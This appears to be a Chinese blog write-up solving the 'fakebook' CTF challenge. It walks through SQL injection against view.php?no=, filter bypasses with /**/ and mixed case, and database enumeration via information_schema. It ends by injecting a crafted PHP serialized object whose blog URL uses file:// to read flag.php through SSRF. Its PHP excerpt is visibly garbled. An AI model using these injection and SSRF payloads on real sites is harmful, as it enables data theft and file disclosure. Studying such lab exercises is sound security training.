fakebook-攻防世界

题目

先目录扫描一下

dirseach

打开flag.php是空白的

访问robots.txt,访问user.php.bak

<?php

class UserInfo

{

public $name = "";

public $age = 0;

public $blog = "";

public function __construct(name, age, $blog)

{

this-\>name = name;

this-\>age = (int)age;

this-\>blog = blog;

}

function get($url)

{

$ch = curl_init();

curl_setopt(ch, CURLOPT_URL, url);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

output = curl_exec(ch);

httpCode = curl_getinfo(ch, CURLINFO_HTTP_CODE);

if($httpCode == 404) {

return 404;

}

curl_close($ch);

return $output;

}

public function getBlogContents ()

{

return this-\>get(this->blog);

}

public function isValidBlog ()

{

blog = this->blog;

return preg_match("/^(((http(s?))\:\/\/)?)(0-9a-zA-Z\\-+\.)+a-zA-Z{2,6}(\:0-9+)?(\/\S*)?/i", blog);

}

}

但是好像没用

正常注册一下

这里发现有no=1试一试sql注入

加个'报错 可能存在注入

1 and 1=1 正常

1 and 1=2 报错

1' and 1=1 --+报错

1' and 1=2 --+报错

确定是数字型注入

爆字段1 order by 4正常

1 order by 5报错,确定字段是4

爆显位

1 union select 1,2,3,4

但是被过滤了

SQL注入一些过滤及绕过总结_sql注入过滤-CSDN博客

union 和select被前端过滤了,用unicode和<>绕过过滤是不可行的,只有/**/union /**/select可以绕过:

view.php?no=2 UniOn select 1,2,3,4#

view.php?no=2 union SelEct 1,2,3,4#

view.php?no=2 uunionnion selselectect 1,2,3,4#

view.php?no=2 union/**/select 1,2,3,4#

view.php?no=2 union++select 1,2,3,4#

no=-1 /**/union /**/select 1,2,3,4

说明显位是2

爆库名

view.php?no=2 union++select 1,user(),3,4#

view.php?no=2 union++select 1,database(),3,4#

-1 /**/union /**/select 1,group_conact(schema_name),3,4 from information_schema.schemata

爆表名

-1 /**/union /**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"

爆字段

-1 /**/union /**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema="fakebook"

爆数据

-1 /**/union /**/select 1,group_concat(data),3,4 from fakebook.users

发现是我们注册时被序列化的数据

O:8:"UserInfo":3:{s:4:"name";s:5:"20_aw";s:3:"age";i:20;s:4:"blog";s:10:"www.aw.com";}

得到一个现成的序列化数据我们能否模仿

通过之前查的数据username是字段2,猜测data是字段4按顺序来嘛

no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"20_aw";s:3:"age";i:20;s:4:"blog";s:10:"www.aw.com";} '

页面正常起来了

注意no现在的值为2,我们知道这个用户是不存在的。换而言之,原SQL语句的查询结果为空,而我们通过union加入了我们构造的查询语句,让SQL语句有了查询结果,并且此查询结果符合页面渲染要求,所以页面正常显示了。

并且由此得知,只要有data字段的对象序列,就可以成功渲染页面,其他字段并不是很重要。(页面中age和blog的值,显然也都是从序列化的对象里面得到的)

利用php伪协议读取,flag文件嘛

修改序列化中的blog参数,路径之前报错算是提示吧,而且一般都是默认路径

s:4:"blog";s:29:"file:///var/www/html/flag.php";

no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"20_aw";s:3:"age";i:20;s:4:"blog";s:29:"file:///var/www/html/flag.php";} '

打开源代码中发现

点击

相关推荐
架构源启1 分钟前
Spring AI进阶系列(13)- 安全最佳实践(进阶版):Prompt注入防护、数据泄露预防与合规审计实战
人工智能·安全·spring
信息安全失业大专人员7 分钟前
工业控制系统(ICS/OT)网络安全架构
安全·web安全·架构
买大橘子也用券1 小时前
26软件系统安全赛-Fake Emotion(复盘)
python·深度学习·安全·网络安全
Cheng小攸1 小时前
实验九:防火墙安全认证和审计实验
开发语言·安全·php
星幻元宇VR1 小时前
VR心理骑行设备:心理健康教育的新型互动体验
科技·学习·安全·vr
开开心心就好1 小时前
解决图片无页码添加功能的实用工具
javascript·python·安全·智能手机·pdf·音视频·1024程序员节
wanhengidc9 小时前
服务器租用有何优点
运维·服务器·安全·web安全
csdn_aspnet10 小时前
Gemini赋能安全工程师,自动写PoC脚本,探索Gemini在网络安全领域辅助漏洞验证与POC生成的实战路径
安全·web安全·prompt·poc·gemini·工程师
Chengbei1110 小时前
一站式源码安全检测工具、云安全 / APP / 小程序源码敏感信息递归多层目录扫描AK、JWT、手机号、身份证等敏感信息
java·开发语言·安全·web安全·网络安全·系统安全·安全架构
小江的记录本13 小时前
【JVM虚拟机】垃圾回收GC:垃圾回收算法:标记-清除、标记-复制、标记-整理、分代收集(附《思维导图》+《面试高频考点清单》)
java·jvm·后端·python·算法·安全·面试